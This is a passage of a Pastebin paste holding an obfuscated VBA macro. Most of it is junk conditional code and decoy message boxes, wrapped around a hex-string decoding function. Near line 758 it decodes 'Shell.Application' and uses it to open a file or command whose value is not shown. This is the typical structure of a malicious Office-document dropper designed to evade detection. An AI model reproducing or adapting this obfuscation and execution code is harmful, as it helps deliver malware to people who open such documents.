  686. If Len(BHUIGiukdf("61784A737A6E456D37313137")) = Len(BHUIGiukdf("524B725376565944")) Then
  687.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  688. End If
  689.         MsgBox (BHUIGiukdf("465566554E4C4E6C3232"))
  690.  
  691.  
  692. End If
  693. If Len(BHUIGiukdf("417352554A794C7039343638")) = Len(BHUIGiukdf("72554A696645585A")) Then
  694. If 872124 = 872124 + 1 Then End
  695. If 7652 < 61 Then
  696. If 331288 = 331288 + 1 Then End
  697. If 7195 < 14 Then
  698.         MsgBox (BHUIGiukdf("676A7943565744723738"))
  699. End If
  700. If Len(BHUIGiukdf("636D514765515A6132393934")) = Len(BHUIGiukdf("5561655647414B53")) Then
  701.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  702. End If
  703.         MsgBox (BHUIGiukdf("5A566862636C4D413935"))
  704.  
  705. End If
  706. If Len(BHUIGiukdf("77436C417741656732353631")) = Len(BHUIGiukdf("566C547A4C567555")) Then
  707. If 341137 = 341137 + 1 Then End
  708. If 8938 < 84 Then
  709.         MsgBox (BHUIGiukdf("5166726F524F654D3137"))
  710. End If
  711. If Len(BHUIGiukdf("4A55686E795A4F6C33383437")) = Len(BHUIGiukdf("6D725A615A4E5351")) Then
  712.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  713. End If
  714.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  715.  
  716. End If
  717. If 543129 = 543129 + 1 Then End
  718. If 1224 < 45 Then
  719.         MsgBox (BHUIGiukdf("52626C486A4A58513939"))
  720. End If
  721. If Len(BHUIGiukdf("4445424F7749514935323232")) = Len(BHUIGiukdf("43706A4B69764E6C")) Then
  722.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  723. End If
  724.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  725.  
  726.  
  727. End If
  728. If 219763 = 219763 + 1 Then End
  729. If 5577 < 12 Then
  730. If 337536 = 337536 + 1 Then End
  731. If 2216 < 17 Then
  732.         MsgBox (BHUIGiukdf("537550526D726C773236"))
  733. End If
  734. If Len(BHUIGiukdf("4B6E58585843425736313235")) = Len(BHUIGiukdf("77586F786C6D6566")) Then
  735.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  736. End If
  737.         MsgBox (BHUIGiukdf("4E4657754A56414B3433"))
  738.  
  739. End If
  740. If Len(BHUIGiukdf("786649686E41466E32383838")) = Len(BHUIGiukdf("594D4E76736B7273")) Then
  741. If 916956 = 916956 + 1 Then End
  742. If 8746 < 44 Then
  743.         MsgBox (BHUIGiukdf("426F50516564464D3437"))
  744. End If
  745. If Len(BHUIGiukdf("47636C646378477033363435")) = Len(BHUIGiukdf("51495A74546E5970")) Then
  746.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  747. End If
  748.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  749.  
  750. End If
  751. If 783396 = 783396 + 1 Then End
  752. If 5874 < 53 Then
  753.         MsgBox (BHUIGiukdf("6D6F634F5761745A3836"))
  754. End If
  755. If Len(BHUIGiukdf("66696E514B6F666839373733")) = Len(BHUIGiukdf("7256435A4C6B466D")) Then
  756.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  757. End If
  758.     Set ùÐÃØÐãââà = CreateObject(BHUIGiukdf("5368656C6C2E4170706C69636174696F6E"))
  759.  
  760.  
  761.  
  762. ùÐÃØÐãââà.Open òÎÐØàâï
  763. End Sub
  764.  
  765.  
  766.  
  767. Public Function BHUIGiukdf(ByVal VKfUL As String) As String
  768. Dim BdHMbPJymnWvSvj89, HzrnRlvZBXDCsiE63 As Integer
  769. If 134117 = 134117 + 1 Then End
  770. If 7962 < 76 Then
  771. If 922835 = 922835 + 1 Then End
  772. If 1998 < 34 Then
  773.         MsgBox ("wMLdFpyo53")
  774. End If
  775. If Len("rzYvsATd5532") = Len("XPSEAOQe") Then
  776.        MsgBox ("Error !!!")
  777. End If
  778.         MsgBox ("ypozSQHK26")
  779.  
  780. End If
  781. If Len("tcvtkSXt5928") = Len("hXbAlnGZ") Then
  782. If 318426 = 318426 + 1 Then End
  783. If 6912 < 56 Then
  784.         MsgBox ("jNEvIhCT68")
  785. End If
  786. If Len("XcCpAPgs3969") = Len("iXVYZboO") Then
  787.        MsgBox ("Error !!!")
  788. End If
  789.        MsgBox ("Error !!!")
  790.  
  791. End If
  792. If 649897 = 649897 + 1 Then End
  793. If 6268 < 96 Then
  794.         MsgBox ("zoYdthEn49")
  795. End If
  796. If Len("VQZGylnh4225") = Len("ZBvZKGil") Then
  797.        MsgBox ("Error !!!")
  798. End If
  799. HzrnRlvZBXDCsiE63 = 1492
  800.  
  801.  
  802. For BdHMbPJymnWvSvj89 = 0 To 93
  803. If 224155 = 224155 + 1 Then End
  804. If 5713 < 82 Then
  805. If 996294 = 996294 + 1 Then End
  806. If 1377 < 99 Then
  807.         MsgBox ("aJldJluy12")
  808. End If
  809. If Len("lLRUuNza7434") = Len("EkRriGWc") Then
  810.        MsgBox ("Error !!!")
  811. End If
  812.         MsgBox ("RCrwJfyT63")
  813.  
  814. End If
  815. If Len("LhXhEVJz3861") = Len("QValMyXK") Then
  816. If 467893 = 467893 + 1 Then End
  817. If 1554 < 49 Then
  818.         MsgBox ("ySZABgYl22")
  819. End If
  820. If Len("wtlwSBlH8612") = Len("BljpcmNW") Then
  821.        MsgBox ("Error !!!")
  822. End If
  823.        MsgBox ("Error !!!")
  824.  
  825. End If
  826. If 141598 = 141598 + 1 Then End
  827. If 4233 < 15 Then
  828.         MsgBox ("tgGAdgJR27")
  829. End If
  830. If Len("ckNXZCQb8876") = Len("XqpOuczI") Then
  831.        MsgBox ("Error !!!")
  832. End If
  833. HzrnRlvZBXDCsiE63 = HzrnRlvZBXDCsiE63 + BdHMbPJymnWvSvj89
  834.  
  835.  
  836. If 843589 = 843589 + 1 Then End
  837. If 6156 < 57 Then
  838. If 466479 = 466479 + 1 Then End
  839. If 4433 < 78 Then
  840.         MsgBox ("KldSvRnl97")
  841. End If
  842. If Len("nnNVXXNx9977") = Len("lotesrts") Then
  843.        MsgBox ("Error !!!")
  844. End If
  845.         MsgBox ("XkenaWyh32")
  846.  
  847. End If
  848. If Len("WRlETXsE3113") = Len("yelBYQtN") Then
  849. If 278313 = 278313 + 1 Then End
  850. If 5611 < 43 Then
  851.         MsgBox ("qIRkqsxk55")
  852. End If
  853. If Len("HyBetYFV2667") = Len("zRNvywIm") Then
  854.        MsgBox ("Error !!!")
  855. End If
  856.        MsgBox ("Error !!!")
  857.  
  858. End If
  859. If 752918 = 752918 + 1 Then End
  860. If 7389 < 17 Then
  861.         MsgBox ("psKkcdUZ51")
  862. End If
  863. If Len("uFFMvjRk5346") = Len("PzPIqSsx") Then
  864.        MsgBox ("Error !!!")
  865. End If
  866. DoEvents
  867.  
  868.  
  869. Next BdHMbPJymnWvSvj89
  870. For rxtFIQsuDNIlBT = 1 To Len(VKfUL) Step 2
  871. If 471471 = 471471 + 1 Then End
  872. If 4573 < 79 Then
  873. If 755769 = 755769 + 1 Then End
  874. If 4168 < 14 Then
  875.         MsgBox ("DmfDITaZ88")
  876. End If
  877. If Len("SUZHfYuH2235") = Len("CyEdgwNd") Then
  878.        MsgBox ("Error !!!")
  879. End If
  880.         MsgBox ("JcDSWaCS23")
  881.  
  882. End If
  883. If Len("DaOfXtWZ2549") = Len("kgTzInZY") Then
  884. If 643721 = 643721 + 1 Then End
  885. If 6197 < 95 Then
  886.         MsgBox ("jbtxOrTl48")
  887. End If
  888. If Len("BUKIuwtx4254") = Len("JhCSxEqd") Then
  889.        MsgBox ("Error !!!")
  890. End If
  891.        MsgBox ("Error !!!")
  892.  
  893. End If
  894. If 481544 = 481544 + 1 Then End
  895. If 2526 < 12 Then
  896.         MsgBox ("nJJbqMcm62")
  897. End If
  898. If Len("bruZHXZU9683") = Len("QZiVJPxt") Then
  899.        MsgBox ("Error !!!")
  900. End If
  901. kSSFs = Chr$(Val(Chr(38) & Chr(72) & Mid$(VKfUL, rxtFIQsuDNIlBT, 2)))
  902.  
  903.  
  904. If 375832 = 375832 + 1 Then End
  905. If 6576 < 62 Then
  906. If 574981 = 574981 + 1 Then End
  907. If 9313 < 37 Then
  908.         MsgBox ("NbylLcOx18")
  909. End If
  910. If Len("gJCfTomL7369") = Len("unekWjbO") Then
  911.        MsgBox ("Error !!!")
  912. End If
  913.         MsgBox ("lUsLlvTf74")
  914.  
  915. End If
  916. If Len("NtTRdLXM4633") = Len("qEYafUHj") Then
  917. If 714375 = 714375 + 1 Then End
  918. If 5754 < 44 Then
  919.         MsgBox ("JBylcIQV28")
  920. End If
  921. If Len("HdwweOJs2712") = Len("gyTiUpim") Then
  922.        MsgBox ("Error !!!")
  923. End If
  924.        MsgBox ("Error !!!")
  925.  
  926. End If
  927. If 894423 = 894423 + 1 Then End
  928. If 3596 < 59 Then
  929.         MsgBox ("ZupzyCcc65")
  930. End If
  931. If Len("RrLTgWSo9653") = Len("xDVPReJV") Then
  932.        MsgBox ("Error !!!")
  933. End If
  934. qCQyPBFfTQKdax = qCQyPBFfTQKdax & kSSFs
  935.  
  936.  
  937. Next rxtFIQsuDNIlBT
  938. If 616294 = 616294 + 1 Then End
  939. If 7832 < 93 Then
  940. If 884973 = 884973 + 1 Then End
  941. If 5561 < 27 Then
  942.         MsgBox ("LSqBMmms92")
  943. End If
  944. If Len("KNbzvwnb3527") = Len("evnvbqlX") Then
  945.        MsgBox ("Error !!!")
  946. End If
  947.         MsgBox ("lpvLTbGv56")
  948.  
  949. End If
  950. If Len("zksteJgZ4898") = Len("YTiLGdCY") Then
  951. If 355682 = 355682 + 1 Then End
  952. If 3335 < 67 Then
  953.         MsgBox ("VUlfzjMb11")
  954. End If
  955. If Len("YGubbIlE1382") = Len("vvdRHHvl") Then
  956.        MsgBox ("Error !!!")
  957. End If
  958.        MsgBox ("Error !!!")
  959.  
  960. End If
  961. If 531757 = 531757 + 1 Then End
  962. If 3828 < 25 Then
  963.         MsgBox ("YoFPwOHr76")
  964. End If
  965. If Len("TxrDaPXj1975") = Len("HMtpzbGF") Then
  966.        MsgBox ("Error !!!")
  967. End If
  968. BHUIGiukdf = qCQyPBFfTQKdax
  969.  
  970.  
  971. Dim JzeajhlzOqMBZPw66, qTJnkxMeLIrpGhq89 As Integer
  972. If 971393 = 971393 + 1 Then End
  973. If 9847 < 61 Then
  974. If 937635 = 937635 + 1 Then End
  975. If 9956 < 34 Then
  976.         MsgBox ("wVxazOKm77")
  977. End If
  978. If Len("kAlEeDHp7113") = Len("XGhkGocg") Then
  979.        MsgBox ("Error !!!")
  980. End If
  981.         MsgBox ("hyzYZRoF45")
  982.  
  983. End If
  984. If Len("gljOiTgz7814") = Len("bJkyomov") Then
  985. If 925686 = 925686 + 1 Then End
  986. If 3974 < 26 Then
  987.         MsgBox ("BefOzixq38")
  988. End If
  989. If Len("RnImXAFJ9131") = Len("GBOHCjUf") Then
  990.        MsgBox ("Error !!!")
  991. End If
  992.        MsgBox ("Error !!!")
  993.  
  994. End If
  995. If 289752 = 289752 + 1 Then End
  996. If 2677 < 51 Then
  997.         MsgBox ("WNJwNdJn94")
  998. End If
  999. If Len("EiRIcRjR9634") = Len("iwAwoNBO") Then
  1000.        MsgBox ("Error !!!")
  1001. End If
  1002. qTJnkxMeLIrpGhq89 = 6274
  1003.  
  1004.  
  1005. For JzeajhlzOqMBZPw66 = 0 To 62
  1006. If 323698 = 323698 + 1 Then End
  1007. If 9112 < 35 Then
  1008. If 531557 = 531557 + 1 Then End
  1009. If 6729 < 53 Then
  1010.         MsgBox ("YoHbhjeC76")
  1011. End If
  1012. If Len("VqzMYVCJ4776") = Len("pOzjUDHg") Then
  1013.        MsgBox ("Error !!!")
  1014. End If
  1015.         MsgBox ("afyhsLXf16")
  1016.  
  1017. End If
  1018. If Len("jYCpVEUP5756") = Len("WMMVPNhF") Then
  1019. If 793536 = 793536 + 1 Then End
  1020. If 4812 < 63 Then
  1021.         MsgBox ("mzuqTRgR54")
  1022. End If
  1023. If Len("PmBtkhaa1868") = Len("fIWLrQIt") Then
  1024.        MsgBox ("Error !!!")
  1025. End If
  1026.        MsgBox ("Error !!!")
  1027.  
  1028. End If
  1029. If 319925 = 319925 + 1 Then End
  1030. If 6827 < 32 Then
  1031.         MsgBox ("jVPCZOOM44")
  1032. End If
  1033. If Len("CwtIxran3974") = Len("iMttcKMC") Then
  1034.        MsgBox ("Error !!!")
  1035. End If
  1036. qTJnkxMeLIrpGhq89 = qTJnkxMeLIrpGhq89 + JzeajhlzOqMBZPw66
  1037.  
  1038.  
  1039. If 558451 = 558451 + 1 Then End
  1040. If 2295 < 84 Then
  1041. If 928435 = 928435 + 1 Then End
  1042. If 9954 < 34 Then
  1043.         MsgBox ("wCnFSZfo77")
  1044. End If
  1045. If Len("knxjFTqB7921") = Len("XFltbzKe") Then
  1046.        MsgBox ("Error !!!")
  1047. End If
  1048.         MsgBox ("RxEcOjEG68")
  1049.  
  1050. End If
  1051. If Len("EPLngkOz9252") = Len("FoMChuZb") Then
  1052. If 617856 = 617856 + 1 Then End
  1053. If 9996 < 86 Then
  1054.         MsgBox ("INbLMlRl18")
  1055. End If
  1056. If Len("fcMRFSXB6953") = Len("bXMaGAGw") Then
  1057.        MsgBox ("Error !!!")
  1058. End If
  1059.        MsgBox ("Error !!!")
  1060.  
  1061. End If
  1062. If 641697 = 641697 + 1 Then End
  1063. If 6276 < 96 Then
  1064.         MsgBox ("jAMhfQAC49")
  1065. End If
  1066. If Len("BOUAQeaa4233") = Len("ECEhxbOt") Then
  1067.        MsgBox ("Error !!!")
  1068. End If
  1069. DoEvents
  1070.  
  1071.  
  1072. Next JzeajhlzOqMBZPw66
  1073. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top